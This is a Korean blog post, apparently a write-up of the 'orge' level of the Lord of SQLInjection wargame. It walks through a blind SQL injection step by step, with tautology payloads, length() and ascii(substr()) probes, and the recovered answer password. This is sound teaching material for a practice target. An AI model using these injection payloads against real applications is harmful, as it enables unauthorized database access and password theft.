⠀
orge 본문

$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
소스코드를 보니 id가 ‘admin’인 pw의 값을 맞혀야 해당 문제를 통과할 수 있다.

참인 값인 ?pw=’||1=1%23을 입력했을 때, Hello guest 라는 문구가 뜨는 것을 확인할 수 있다.

거짓 값인 ?pw=’||1=2%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다.
참과 거짓일 때 나오는 결과가 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw를 알아낸다.
[풀이 과정]


pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.
?pw=’||id=’admin’%26%26length(pw)>8%23 입력 -> 문구 출력X
?pw=’||id=’admin’%26%26length(pw)=8%23 입력 -> Hello admin문구 확인
pw의 길이는 8이라는 것을 알 수 있다.

substr 함수 - 정해진 문자를 특정 자릿수만큼 잘라내는 기능을 가진 함수이다. 예를 들어 substr(a,b,c)가 의미하는 바는 a문자열을 b부터 c개만큼 잘라낸다.
ascii 함수 - 문자를 ascii코드로 변환한다. 이 점을 이용하여 >,<,= 연산을 할 수 있다.
?pw=’||id=’admin’%26%26ascii(substr(pw,1,1))< %23 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다.


pw 첫 번째 문자의 아스키코드 값이 55보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다.

pw의 첫 번째 문자는 아스키코드 값 55인 7이다.
반복하여 8글자를 다 찾아낸다.

pw의 두 번째 문자는 아스키코드 값 98인 b이다.
pw=7b

pw의 세 번째 문자는 아스키코드 값 55인 7이다.
pw=7b7

pw의 네 번째 문자는 아스키코드 값 53인 5이다.
pw=7b75

pw의 다섯 번째 문자는 아스키코드 값 49인 1이다.
pw=7b751

pw의 여섯 번째 문자는 아스키코드 값 97인 a이다.
pw=7b751a

pw의 일곱 번째 문자는 아스키코드 값 101인 e이다.
pw=7b751ae

pw의 여덟 번째 문자는 아스키코드 값 99인 c이다.
pw=7b751aec

정답: ?pw=7b751aec
'워게임 문제풀이 > Lord of SQLInjection' 카테고리의 다른 글
darkknight (0) | 2022.09.05 |
---|---|
golem (0) | 2022.09.05 |
skeleton (0) | 2022.09.05 |
vampire (0) | 2022.09.05 |
troll (0) | 2022.09.05 |